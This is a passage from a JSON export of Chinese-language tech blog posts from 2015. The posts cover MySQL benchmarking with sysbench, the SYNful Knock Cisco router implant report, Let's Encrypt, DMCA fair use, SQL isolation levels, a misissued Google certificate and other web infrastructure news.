    "body": "很久前是用 <a href=\"https://code.launchpad.net/~percona-dev/perconatools/tpcc-mysql\">tpcc-mysql</a> 測試 <a href=\"https://dev.mysql.com/\">MySQL</a> 效能：「<a href=\"http://blog.gslin.com/2012/11/tpcc-mysql-lsi-nytro-megaraid-nmr-8100.html\">用 tpcc-mysql 測試 LSI 的 Nytro MegaRAID NMR 8100-4i</a>」，最近剛好又有測試需求，想說拿來學個新玩具測試，就想到 <a href=\"https://github.com/akopytov/sysbench\">sysbench</a> 的 oltp 測試。\r\n\r\n先用 <a href=\"https://www.google.com/\">Google</a> 找了找測試的方式，appleboy 之前寫的「<a href=\"http://blog.wu-boy.com/2014/01/sysbench-test-percona-xtradb-server-performance/\">Sysbench 測試 Percona XtraDB Server 效能</a>」算是還不錯的文件，就拿來當起點了。\r\n\r\n我是拿 <a href=\"https://aws.amazon.com/\">AWS</a> 測試，主要是因為幾乎所有的效能都是固定的，這樣測出來才有意義。\r\n\r\n<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 用 c4.8xlarge，用 10Gbps 網路測試會比較準確一點。硬碟的部份是掛上 100GB 的 SSD 硬碟，如果是測 I/O bound 的人就選擇有固定 IOPS 的 Provisioned 版本，但我這次測的都是 CPU bound，就只選用 General 版本了。\r\n\r\n跑起 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 14.04 後直接用 <code>apt-get install sysbench</code> 就可以裝起來了。\r\n\r\n<a href=\"https://www.percona.com/\">Percona</a> 的 apt repository 設定可以參考官方的「<a href=\"https://www.percona.com/doc/percona-server/5.6/installation/apt_repo.html\">Installing Percona Server on Debian and Ubuntu</a>」這篇文章。設好後要裝什麼版本測試就是自己的選擇了。\r\n\r\n都裝好後，測試的方式是先用 prepare 塞資料，再用 run 測試。\r\n\r\n這是 prepare 部份的指令：(粗體字的 <strong>x</strong> 需要帶入自己對應的參數)\r\n\r\n<pre>sysbench --test=oltp --db-driver=mysql --mysql-engine-trx=yes --mysql-table-engine=innodb --mysql-host=<strong>x</strong> --mysql-user=<strong>x</strong> --mysql-password=<strong>x</strong> --oltp-auto-inc=off --test=/usr/share/doc/sysbench/tests/db/oltp.lua --oltp-table-size=10000000 prepare</pre>\r\n\r\n這是 run 部份的指令，我這邊用了 <code>--oltp-read-only=on</code> 只測 read transaction 的速度：\r\n\r\n<pre>sysbench --test=oltp --db-driver=mysql --mysql-engine-trx=yes --mysql-table-engine=innodb --mysql-host=<strong>x</strong> --mysql-user=<strong>x</strong> --mysql-password=<strong>x</strong> --oltp-auto-inc=off --test=/usr/share/doc/sysbench/tests/db/oltp.lua --oltp-table-size=10000000 --oltp-read-only=on --num-threads=256 --report-interval=5 --max-time=60 --max-requests=0 run</pre>\r\n\r\n大致上就是這樣測，然後用 <a href=\"http://www.gnuplot.info/\">gnuplot</a> 畫圖。",
    "title": "用 sysbench 測試 MySQL 效能"
  },
  {
    "id": "5973",
    "body": "在「<a href=\"https://github.com/cyrus-and/gdb-dashboard\">Modular visual interface for GDB in Python</a>」這邊看到的 <a href=\"https://www.gnu.org/software/gdb/\">gdb</a> 畫面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/io1ZO79.webp\" /><img src=\"https://i.gslin.com/imgur/io1ZO79.jpg\" alt=\"\" /></picture>\r\n\r\n用 <a href=\"https://www.python.org/\">Python</a> 寫的...",
    "title": "更絢麗的 .gdbinit 檔"
  },
  {
    "id": "5974",
    "body": "昨天的大新聞，<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 宣佈跟百度合作進入中國市場：「<a href=\"https://blog.cloudflare.com/how-we-extended-cloudflares-performance-and-security-into-mainland-china/\">How We Extended CloudFlare's Performance and Security Into Mainland China</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/b2eJFrY.webp\" /><img src=\"https://i.gslin.com/imgur/b2eJFrY.jpg\" alt=\"\" /></picture>\r\n\r\n在「<a href=\"https://www.cloudflare.com/china\">China network</a>」這邊可以看到各種限制，首先是需要有牌 (ICP) 才能用：\r\n\r\n<blockquote>CloudFlare customers that wish to serve traffic for their domains across the China network must possess a valid Internet Content Provider (ICP) license. An ICP license is a Chinese government issued license required to host or cache Internet content within mainland China. Learn more about how you can obtain an ICP license here.</blockquote>\r\n\r\n另外是不支援 HTTPS：\r\n\r\n<blockquote>For the moment the China network does not support HTTPS traffic (HTTP only). Support for SSL/TLS will be made available in the coming months.</blockquote>\r\n\r\n目前只開放給 Enterprise 用戶：\r\n\r\n<blockquote>Initially, the China network will be limited to Enterprise customers. Over time, as we are better able to operationalize the onboarding of customers, we hope to extend the benefits to all plan levels.</blockquote>\r\n\r\n由於要 ICP 的關係，對於境外網站沒有太多幫助。另外也不確定是不是還是用 Anycast 技術，如果是的話就要煩惱某些網站的流量有機會被導到中國了。",
    "title": "CloudFlare 跟百度合作進入中國市場"
  },
  {
    "id": "5976",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 宣佈有新的進度了，已經可以從 Root Certificate 簽其他的 SSL Certificate 了：「<a href=\"https://letsencrypt.org/2015/09/14/our-first-cert.html\">Our First Certificate Is Now Live</a>」。\r\n\r\n測試的網站在 <a href=\"https://helloworld.letsencrypt.org/\">https://helloworld.letsencrypt.org/</a> 這邊，目前應該還是屬於不信任狀態。一旦 cross sign 或是被加到瀏覽器內，這個網站應該就會馬上生效了。\r\n\r\n接下來會同時做幾件事情：\r\n\r\n<ul>\r\n\t<li>找 <a href=\"https://www.identrustssl.com/\">IdenTrust</a> 簽 Root Certificate (cross sign)。</li>\r\n\t<li>送到 <a href=\"https://www.mozilla.org/\">Mozilla</a>：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1204656\">1204656 &ndash; Add ISRG / Let's Encrypt root certificate</a>」。</li>\r\n\t<li>送到 <a href=\"https://www.google.com/chrome\">Google Chrome</a>：「<a href=\"https://code.google.com/p/chromium/issues/detail?id=531672\">chromium - Add ISRG / Let's Encrypt root certificate - An open-source project to help move the web forward.</a>」。</li>\r\n\t<li>送到 <a href=\"https://www.microsoft.com/\">Microsoft</a>。</li>\r\n\t<li>送到 <a href=\"https://www.apple.com/\">Apple</a>。</li>\r\n</ul>\r\n\r\n總算又聽到新的進度了...",
    "title": "Let's Encrypt 的新進展"
  },
  {
    "id": "5977",
    "body": "超越國界，同一種故事總是會在不同地方看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DYG9wnf.webp\" /><img src=\"https://i.gslin.com/imgur/DYG9wnf.jpg\" alt=\"\" /></picture>",
    "title": "人總是有很多感嘆的..."
  },
  {
    "id": "5978",
    "body": "<a href=\"https://www.fireeye.com/\">FireEye</a> 發表了一篇在 <a href=\"https://www.cisco.com/\">Cisco</a> Router 上發現被植入的後門：「<a href=\"https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html\">SYNful Knock - A Cisco router implant - Part I</a>」。\r\n\r\n發現這些被植入的 router 被散佈在四個地區：\r\n\r\n<blockquote>Mandiant can confirm the existence of at least 14 such router implants spread across four different countries:  Ukraine, Philippines, Mexico, and India.</blockquote>\r\n\r\n包括了這幾個型號：\r\n\r\n<ul>\r\n\t<li>Cisco 1841 router</li>\r\n\t<li>Cisco 2811 router</li>\r\n\t<li>Cisco 3825 router</li>\r\n</ul>\r\n\r\n後門的特性是使用特殊的封包啟動：\r\n\r\n<blockquote>SYNful Knock is a stealthy modification of the router's firmware image that can be used to maintain persistence within a victim's network. It is customizable and modular in nature and thus can be updated once implanted. Even the presence of the backdoor can be difficult to detect as it uses non-standard packets as a form of pseudo-authentication.</blockquote>\r\n\r\n最主要的重點是把記憶體保護機制關閉 (都變成 RW)：\r\n\r\n<blockquote>The malware forces all TLB Read and Write attributes to be Read-Write (RW). We believe this change is made to support the hooking of IOS functions by loaded modules.</blockquote>\r\n\r\n文後也有提到 Cisco 的文章，如何 dump image 分析：「<a href=\"http://blogs.cisco.com/security/offline-analysis-of-ios-image-integrity\">Offline Analysis of IOS Image Integrity</a>」。",
    "title": "在 Cisco Router 上被植入的後門"
  },
  {
    "id": "5979",
    "body": "蘋果的 <a href=\"https://www.apple.com/ios/\">iOS</a> 9 在今天放出來了，更新完以後可以用 Content Blocking 擋廣告，剛剛測過可以擋下全頁式的廣告。\r\n\r\n這篇要介紹了的是「<a href=\"http://crystalapp.co/\">Crystal</a>」這個目前限時免費的 app，你可以在「<a href=\"https://itunes.apple.com/app/id1022177308\">Crystal - Block Ads, Browse Faster.</a>」這邊下載安裝。\r\n\r\niOS 9 的 Content Blocking 功能必須要應用程式支援，而目前只有 Safari 有支援，所以以下的測試是用 Safari 打開行動版的 Facebook (<a href=\"https://m.facebook.com/\">https://m.facebook.com/</a>) 測試的，就拿這篇先來測試：(這張圖片是後來抓的，所以時間是 06:20)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nSuktrGl.webp\" /><img src=\"https://i.gslin.com/imgur/nSuktrGl.jpg\" alt=\"\" /></picture>\r\n\r\n直接打開會先出現全版廣告 (第一張圖)，關掉後還會有大量的廣告 (第二張圖)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cVX0t7Al.webp\" /><img src=\"https://i.gslin.com/imgur/cVX0t7Al.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jAqIo7Il.webp\" /><img src=\"https://i.gslin.com/imgur/jAqIo7Il.jpg\" alt=\"\" /></picture>\r\n\r\n接著我們打開 Crystal，可以看到什麼都沒得設，因為這套軟體已經做完了：(這張圖片是剛裝完就裝的，所以是 06:00)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wpXgqIsl.webp\" /><img src=\"https://i.gslin.com/imgur/wpXgqIsl.jpg\" alt=\"\" /></picture>\r\n\r\n接著到「設定」裡面打開 Safari 的阻擋功能：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9NrkfhVl.webp\" /><img src=\"https://i.gslin.com/imgur/9NrkfhVl.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Hyp1ICVl.webp\" /><img src=\"https://i.gslin.com/imgur/Hyp1ICVl.jpg\" alt=\"\" /></picture>\r\n\r\n改完後就會是乾淨而且沒有廣告的版本了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/93Jp3n3l.webp\" /><img src=\"https://i.gslin.com/imgur/93Jp3n3l.jpg\" alt=\"\" /></picture>",
    "title": "在 iOS 9 裡安裝 Crystal 擋掉全版廣告"
  },
  {
    "id": "5980",
    "body": "在「<a href=\"https://www.nginx.com/blog/nginx-plus-r7-released/\">Announcing NGINX Plus R7</a>」這邊 <a href=\"http://nginx.org/\">nginx</a> 透漏了目前 <a href=\"https://http2.github.io/\">HTTP/2</a> 的進度。\r\n\r\n<a href=\"https://www.nginx.com/products/\">NGINX Plus</a> 是商業版本，這次將釋出 HTTP/2 功能：\r\n\r\n<blockquote>NGINX Plus now provides a fully supported implementation of the new HTTP/2 web standard. NGINX Plus can be deployed as a front-end HTTP/2 gateway and accelerator for both new and existing web services.</blockquote>\r\n\r\n而 open source 版本也將會在 NGINX Plus R7 版釋出後放出：\r\n\r\n<blockquote>Based on user testing from the alpha-level patch, and with the early support from corporate co-sponsors Automattic and Dropbox, the final open source version of HTTP/2 will become available following the release of R7.</blockquote>\r\n\r\n如同之前提到的，nginx 的實作上會將 HTTP/2 與 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 分開，所以 package 是分開的：\r\n\r\n<blockquote>HTTP/2 support is available in the optional <strong>nginx‑plus‑http2</strong> package only. The <strong>nginx‑plus</strong> and <strong>nginx‑plus‑extras</strong> packages provide SPDY support and are currently recommended for production sites because of wider browser support and code maturity.</blockquote>\r\n\r\n至於 open source 版本會怎麼規劃就等看看了...",
    "title": "nginx 的 HTTP/2"
  },
  {
    "id": "5981",
    "body": "在「<a href=\"https://josephscott.org/archives/2015/09/maplatency-com/\">MapLatency.com</a>」這邊看到「<a href=\"http://www.maplatency.com/\">MapLatency.com - Check latency, ping, dns , page load from multiple locations</a>」這個網站。\r\n\r\n像是 <code>8.8.8.8</code> 這種 anycast 的點的結果還蠻有趣的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/10cf8ok.webp\" /><img src=\"https://i.gslin.com/imgur/10cf8ok.jpg\" alt=\"\" /></picture>",
    "title": "從全世界各地偵測 latency 的網站"
  },
  {
    "id": "5982",
    "body": "<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 推出了新的種類：「<a href=\"https://aws.amazon.com/blogs/aws/aws-storage-update-new-lower-cost-s3-storage-option-glacier-price-reduction/\">AWS Storage Update – New Lower Cost S3 Storage Option &amp; Glacier Price Reduction</a>」。\r\n\r\n原先只有「Standard」、「Reduced Redundancy Storage」以及「Glacier Storage」三種，現在多了一種「Standard - Infrequent Access Storage」。\r\n\r\n首先是計價模式，儲存的單價變便宜很多，但存取是要另外收錢的：\r\n\r\n<blockquote>$0.0125 / gigabyte / month (one and one-quarter US pennies), with a 30 day minimum storage duration for billing, and a $0.01 / gigabyte charge for retrieval (in addition to the usual data transfer and request charges).</blockquote>\r\n\r\n拉資料的費用相當的貴啊一個月拉兩次就超過 Standard Storage 的價錢了，所以這個「Infrequent」的要求其實頗嚴苛的...\r\n\r\n另外空間的部份以 128KB 為最小單位在計價的：\r\n\r\n<blockquote>Further, for billing purposes, objects that are smaller than 128 kilobytes are charged for 128 kilobytes of storage.</blockquote>\r\n\r\n所以綜合起來看，Infrequent Access Storage 的設計上是拿來堆資料備份，但希望拉資料時很快就可以拉出來。其實就是 <a href=\"https://cloud.google.com/storage/\">Google Cloud Storage</a> 中 <a href=\"https://cloud.google.com/storage-nearline/\">Nearline</a> 的想法，一樣有存取另外收費的項目。不過 Nearline 有說平均的 latency 是三秒：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BVQTNie.webp\" /><img src=\"https://i.gslin.com/imgur/BVQTNie.jpg\" alt=\"\" /></picture>\r\n\r\n但 IA 好像是跟 Standard 相同等級？至少文章裡沒有提到...",
    "title": "Amazon S3 推出新的種類：Standard - Infrequent Access Storage"
  },
  {
    "id": "5983",
    "body": "在「<a href=\"http://www.labnol.org/internet/find-website-traffic-hits/8008/\">Find Out How Much Traffic a Website Gets</a>」這邊講到了五個分析網站流量的工具，分別是 <a href=\"http://www.alexa.com/\">Alexa</a>、<a href=\"https://www.compete.com/\">Compete</a>、<a href=\"http://www.similarweb.com/\">Similar Web</a>、<a href=\"http://www.semrush.com/\">SEM Rush</a> 以及 <a href=\"https://www.quantcast.com/\">Quantcast</a>。\r\n\r\n由於你不可能知道其他網站的實際流量，這些都是估算值，就只是拿來參考用的，幫助你稍微有個概念而已 :p",
    "title": "分析網站流量的工具"
  },
  {
    "id": "5985",
    "body": "出自 <a href=\"https://www.eff.org/\">EFF</a> 的「<a href=\"https://www.eff.org/deeplinks/2015/09/takedown-senders-must-consider-fair-use-ninth-circuit-rules\">Takedown Senders Must Consider Fair Use, Ninth Circuit Rules</a>」這篇，案件可以參考「<a href=\"https://en.wikipedia.org/wiki/Lenz_v._Universal_Music_Corp.\">Lenz v. Universal Music Corp.</a>」這篇，或是 EFF 整理的「<a href=\"https://www.eff.org/cases/lenz-v-universal\">Lenz v. Universal</a>」這篇，由 EFF 發起訴訟控告環球侵犯合理使用權：\r\n\r\n<blockquote>The Electronic Frontier Foundation (EFF) filed suit against Universal Music Publishing Group (UMPG) asking a federal court to protect the fair use and free speech rights of a mother who posted a short video of her toddler son dancing to a Prince song on the Internet.</blockquote>\r\n\r\n起因在於 Stephanie Lenz 上傳了一段 29 秒的影片，背景有 Let's Go Crazy 這首歌的音樂，而被環球發 DMCA takedown notification 下架：\r\n\r\n<blockquote>Stephanie Lenz's 29-second recording shows her son bouncing along to the Prince song \"Let's Go Crazy \" which is heard playing in the background. Lenz uploaded the home video to YouTube in February to share it with her family and friends.</blockquote>\r\n\r\n<iframe width=\"640\" height=\"480\" src=\"https://www.youtube.com/embed/N1KfJHFWlhQ\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n後來 Stephanie Lenz 發出 counter notification 並且控告環球濫用 DMCA notification：\r\n\r\n<blockquote>In late June 2007, Lenz sent YouTube a counter-notification, claiming fair use and requesting the video be reposted. Six weeks later, YouTube reposted the video. In July 2007, Lenz sued Universal for misrepresentation under the DMCA and sought a declaration from the court that her use of the copyrighted song was non-infringing. According to the DMCA 17 U.S.C. § 512(c)(3)(A)(v), the copyright holder must consider whether use of the material was allowed by the copyright owner or the law.</blockquote>\r\n\r\n而環球直接挑明不在意 fair use：\r\n\r\n<blockquote>In September 2007, Prince released statements that he intended to \"reclaim his art on the internet.\" In October 2007, Universal released a statement amounting to the fact that Prince and Universal intended to remove all user-generated content involving Prince from the internet as a matter of principle.</blockquote>\r\n\r\n於是雙方就從 2007 年開始一路打官司，首先的判決是地方法院認為 DMCA takedown 必須確認侵權事實才能發，這包括了要確認 fair use：\r\n\r\n<blockquote>The district court held that copyright owners must consider fair use before issuing DMCA takedown notices. Thus, the district court denied Universal's motion to dismiss Lenz's claims, and declined to dismiss Lenz's misrepresentation claim as a matter of law.</blockquote>\r\n\r\n同時認為環球濫用 DMCA takedown notification：\r\n\r\n<blockquote>The district court believed that Universal's concerns over the burden of considering fair use were overstated, as mere good faith consideration of fair use, not necessarily an in-depth investigation, is sufficient defense against misrepresentation. The court also explained that liability for misrepresentation is crucial in an important part of the balance in the DMCA.</blockquote>\r\n\r\n然後就是一路往上打，打到前幾天<a href=\"https://zh.wikipedia.org/wiki/%E7%BE%8E%E5%9B%BD%E8%81%94%E9%82%A6%E7%AC%AC%E4%B9%9D%E5%B7%A1%E5%9B%9E%E4%B8%8A%E8%AF%89%E6%B3%95%E9%99%A2\">第九巡迴上訴法院</a>宣佈維持原來判決定案。這是官方放出的 PDF：「<a href=\"http://cdn.ca9.uscourts.gov/datastore/opinions/2015/09/14/13-16106.pdf\">UNITED STATES COURT OF APPEALSFOR THE NINTH CIRCUIT</a> (PDF)」。Summary 的部份提到這次判決的結論：\r\n\r\n<blockquote>The panel held that the DMCA requires copyright holders to consider fair use before sending a takedown notification, and that failure to do so raises a triable issue as to whether the copyright holder formed a subjective good faith belief that the use was not authorized by law.</blockquote>\r\n\r\n這個判決使得目前使用機器自動無條件送 takedown notification 的程式也會受到規範，後續看 EFF 怎麼出招了...",
    "title": "第九巡迴上訴法院：DMCA takedown notification 必須先確認是否為合理使用 (Fair Use)"
  },
  {
    "id": "5988",
    "body": "<a href=\"https://www.apple.com/ios/\">iOS</a> 9 的一個重要功能是未知來電的顯示：「<a href=\"http://venturebeat.com/2015/09/16/ios-9-tells-you-who-that-unknown-caller-is/\">iOS 9 tells you who that unknown caller is</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/js5tuZM.webp\" /><img src=\"https://i.gslin.com/imgur/js5tuZM.jpg\" alt=\"\" /></picture>\r\n\r\n等於是讓 <a href=\"http://whoscall.com/zh-TW/\">Whoscall</a> 在 iOS 上退場了。",
    "title": "iOS 9 的未知來電顯示功能"
  },
  {
    "id": "5989",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2015/09/06/5955/%E6%B8%AC%E8%A9%A6-mariadb-%E4%B8%8A-galera-cluster-%E7%9A%84-isolation/\">測試 MariaDB 上 Galera Cluster 的 Isolation</a>」這篇提到了 <a href=\"https://stripe.com/\">Stripe</a> 的 <a href=\"https://twitter.com/aphyr\">Kyle Kingsbury</a> 寫了「<a href=\"https://aphyr.com/posts/327-call-me-maybe-mariadb-galera-cluster\">Call me Maybe: MariaDB Galera Cluster</a>」這篇文章，在討論 <a href=\"http://galeracluster.com/products/\">Galera Cluster</a> 的 Isolation 問題。\r\n\r\n<a href=\"https://www.percona.com/\">Percona</a> 的 CTO <a href=\"https://twitter.com/vadimtk\">Vadim Tkachenko</a> 寫了回應的文章：「<a href=\"https://www.percona.com/blog/2015/09/17/clarification-call-maybe-mariadb-galera-cluster/\">Clarification on “Call me Maybe: MariaDB Galera Cluster”</a>」。\r\n\r\n看完後再跑去翻了一些資料，首先是 <a href=\"http://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt\">SQL 92</a> 對 Isolation 的原始定義，尤其是對 <code>REPEATABLE-READ</code> 的定義。\r\n\r\n<code>REPEATABLE-READ</code> 是透過 P2 (\"Non-repeatable read\") 來定義的，只要保證不會發生 P2 就是 <code>REPEATABLE-READ</code> 了：\r\n\r\n<blockquote>P2 (\"Non-repeatable read\"): SQL-transaction T1 reads a row. SQL-transaction T2 then modifies or deletes that row and performs a COMMIT. If T1 then attempts to reread the row, it may receive the modified value or discover that the row has been deleted.</blockquote>\r\n\r\n也就是說，T1 讀過的 row 只要在 T1 transaction 的期間內都保持一樣就可以。由於沒有多餘其他保證，所以有機會產生 P3 (\"Phantom\") 問題：\r\n\r\n<blockquote>P3 (\"Phantom\"): SQL-transaction T1 reads the set of rows N that satisfy some <search condition>. SQL-transaction T2 then executes SQL-statements that generate one or more rows that satisfy the <search condition> used by SQL-transaction T1. If SQL-transaction T1 then repeats the initial read with the same &lt;search condition&gt;, it obtains a different collection of rows.</blockquote>\r\n\r\n但 <code>SERIALIZABLE</code> 與 <code>REPEATABLE-READ</code> 的定義方式不同，並不是避免 P3 就可以叫做 <code>SERIALIZABLE</code>。SQL 92 定義說明必須與序列執行的結果一樣才能叫做 <code>SERIALIZABLE</code>：\r\n\r\n<blockquote>The execution of concurrent SQL-transactions at isolation level SERIALIZABLE is guaranteed to be serializable. A serializable execution is defined to be an execution of the operations of concurrently executing SQL-transactions that produces the same effect as some serial execution of those same SQL-transactions. A serial execution is one in which each SQL-transaction executes to completion before the next SQL-transaction begins.</blockquote>\r\n\r\n所以依照定義，<code>SERIALIZABLE</code> 一定可以避免 P3 發生，但避免了 P3 不代表做到 <code>SERIALIZABLE</code>。\r\n\r\n另外一份資料是「<a href=\"https://dev.mysql.com/doc/refman/5.6/en/set-transaction.html\">MySQL ::   MySQL 5.6 Reference Manual :: 13.3.6 SET TRANSACTION Syntax</a>」對於 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.6 中 InnoDB 實作 <code>REPEATABLE-READ</code> 的細節：\r\n\r\n<blockquote>This is the default isolation level for InnoDB. For consistent reads, there is an important difference from the READ COMMITTED isolation level: All consistent reads within the same transaction read the snapshot established by the first read. This convention means that if you issue several plain (nonlocking) SELECT statements within the same transaction, these SELECT statements are consistent also with respect to each other. See Section 14.2.2.2, “Consistent Nonlocking Reads”.</blockquote>\r\n\r\nInnoDB 的 <code>REPEATABLE-READ</code> 會在第一次讀取時建立一份 snapshot，所以 MySQL 的 <code>REPEATABLE-READ</code> 有達到不產生 P2 的要求，但也因為 snapshot 的關係而不會產生 P3，不過也就僅此而已，寫入的部份還是沒有達到 <code>SERIALIZABLE</code> 的要求。\r\n\r\n回到原來的文章所整理出來的測試資料 (我稍微排版過)，在這兩個不同的 transaction 同時發生時：(不同人都轉帳給 id = 8)\r\n\r\n<pre>BEGIN; -- T1\r\nSELECT balance FROM accounts WHERE account_id = 5;\r\nSELECT balance FROM accounts WHERE account_id = 8;\r\nUPDATE account SET balance = 75 WHERE account_id = 5;\r\nUPDATE account SET balance = 125 WHERE account_id = 8;\r\nCOMMIT;</pre>\r\n\r\n<pre>BEGIN; -- T2\r\nSELECT balance FROM accounts WHERE account_id = 6;\r\nSELECT balance FROM accounts WHERE account_id = 8;\r\nUPDATE account SET balance = 80 WHERE account_id = 6;\r\nUPDATE account SET balance = 120 WHERE account_id = 8;\r\nCOMMIT;</pre>\r\n\r\n<code>SERIALIZABLE</code> 保證執行結果會與某種循序的結果相符 (可能是 T1 -&gt; T2，也可能是 T2 -&gt; T1)。但 <code>REPEATABLE-READ</code> 只保證在 transaction 裡面看到的 row 不會變化。\r\n\r\n在 MySQL 裡，如果你想要跟 MySQL 告知「變更的結果會收到某些欄位的值的影響」，你至少要用 <code>LOCK IN SHARE MODE</code> 來做 (或是用 <code>FOR UPDATE</code> 會更清楚表示出意思)，也就是：\r\n\r\n<pre>BEGIN; -- T1\r\nSELECT balance FROM accounts WHERE account_id = 5 LOCK IN SHARE MODE;\r\nSELECT balance FROM accounts WHERE account_id = 8 LOCK IN SHARE MODE;\r\nUPDATE account SET balance = 75 WHERE account_id = 5;\r\nUPDATE account SET balance = 125 WHERE account_id = 8;\r\nCOMMIT;</pre>\r\n\r\n<pre>BEGIN; -- T2\r\nSELECT balance FROM accounts WHERE account_id = 6 LOCK IN SHARE MODE;\r\nSELECT balance FROM accounts WHERE account_id = 8 LOCK IN SHARE MODE;\r\nUPDATE account SET balance = 80 WHERE account_id = 6;\r\nUPDATE account SET balance = 120 WHERE account_id = 8;\r\nCOMMIT;</pre>\r\n\r\n這樣至少會有一個 transaction 會出現 deadlock 訊息，於是就會確保是正確的結果：\r\n\r\n<blockquote>ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction</blockquote>\r\n\r\n值得一提的是，Percona 文章提到的第二種解法是有問題的：\r\n\r\n<pre>BEGIN;\r\nSELECT balance FROM accounts WHERE account_id = 5;\r\nSELECT balance FROM accounts WHERE account_id = 8;\r\nUPDATE account SET balance = balance - 25 WHERE account_id = 5;\r\nUPDATE account SET balance = balance + 25 WHERE account_id = 8;\r\nCOMMIT;</pre>\r\n\r\n這樣「總和」會因為保證原子性 (atomicity) 所以不會產生問題，但 balance 可能會產生出負數。\r\n\r\n<del>所以結論是 Kyle Kingsbury 那篇文章測試的方法本來就有問題，在 <code>SELECT</code> 時少了 <code>LOCK IN SHARE MODE</code> 或是 <code>FOR UPDATE</code> 的要求。</del>",
    "title": "從頭學一次 Isolation level 的 REPEATABLE-READ 與 SERIALIZABLE"
  },
  {
    "id": "5991",
    "body": "<a href=\"http://googleonlinesecurity.blogspot.com/\">Google Online Security Blog</a> 上公佈了一篇他們最近的發現，並且發佈 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 的安全性更新：「<a href=\"http://googleonlinesecurity.blogspot.com/2015/09/improved-digital-certificate-security.html\">Improved Digital Certificate Security</a>」。\r\n\r\n原因出自於 Thawte (<a href=\"https://www.symantec.com/\">Symantec</a>) 發出 <code>www.google.com</code> 的 EV SSL certificate：\r\n\r\n<blockquote>On September 14, around 19:20 GMT, Symantec’s Thawte-branded CA issued an Extended Validation (EV) pre-certificate for the domains <a href=\"http://google.com/\">google.com</a> and <a href=\"http://www.google.com/\">www.google.com</a>. This pre-certificate was neither requested nor authorized by Google.</blockquote>\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 在 <a href=\"http://www.certificate-transparency.org/\">Certificate Transparency</a> 上發現：\r\n\r\n<blockquote>We discovered this issuance via <a href=\"http://www.certificate-transparency.org/\">Certificate Transparency</a> logs, which Chrome has required for EV certificates starting January 1st of this year. The issuance of this pre-certificate was recorded in both Google-operated and DigiCert-operated logs.</blockquote>\r\n\r\n對應的 certificate 紀錄可以在「<a href=\"https://crt.sh/?id=9314698\">crt.sh | 9314698</a>」這邊看到，包括了 public key 資訊。\r\n\r\n然後 Google 跟 Symantec 確認後認定是內部測試造成的 (...)：\r\n\r\n<blockquote>During our ongoing discussions with Symantec we determined that the issuance occurred during a Symantec-internal testing process.</blockquote>\r\n\r\n並且發出安全性更新把這把 key 放到 Google Chrome 的 revocation metadata 裡：\r\n\r\n<blockquote>We have updated Chrome’s revocation metadata to include the public key of the misissued certificate. Additionally, the issued pre-certificate was valid only for one day.</blockquote>\r\n\r\n一天的內部測試嗎？我怎麼覺得更像是 <a href=\"https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E9%95%BF%E6%9C%9F%E5%A8%81%E8%83%81\">APT</a> 攻擊？\r\n\r\n最後補充一下，在 Google Chrome 裡面 <code>*.google.com</code> 的網段的 SSL certificate 是被特別保護的，可以參考「<a href=\"https://chromium.googlesource.com/chromium/src/net/+/master/http/transport_security_state_static.json\">transport_security_state_static.json</a>」這邊的 JSON 資料，裡面可以看到這幾段：\r\n\r\n<pre>    {\r\n      \"name\": \"google\",\r\n      \"static_spki_hashes\": [\r\n        \"GoogleBackup2048\",\r\n        \"GoogleG2\",\r\n        \"GeoTrustGlobal\"\r\n      ],\r\n      \"report_uri\": \"http://clients3.google.com/cert_upload_json\"\r\n    },</pre>\r\n\r\n以及：\r\n\r\n<pre>    // (*.)google.com, iff using SSL, must use an acceptable certificate.\r\n    { \"name\": \"google.com\", \"include_subdomains\": true, \"pins\": \"google\" },</pre>\r\n\r\n也就是只有 Google 自己的 CA 與 <a href=\"https://www.geotrust.com/\">GeoTrust</a> 的 CA 是被允許發出 www.google.com 的 SSL certificate (至少在 Google Chrome 裡面會被保護到)。而 GeoTrust 也是 Symantec 的牌子。\r\n\r\n如果讓我以陰謀論的角度來猜，這更像是在測試有會有哪些管道通報會讓 Google 發現。",
    "title": "Thawte (Symantec) 發出 www.google.com 的 EV SSL certificate"
  },
  {
    "id": "5992",
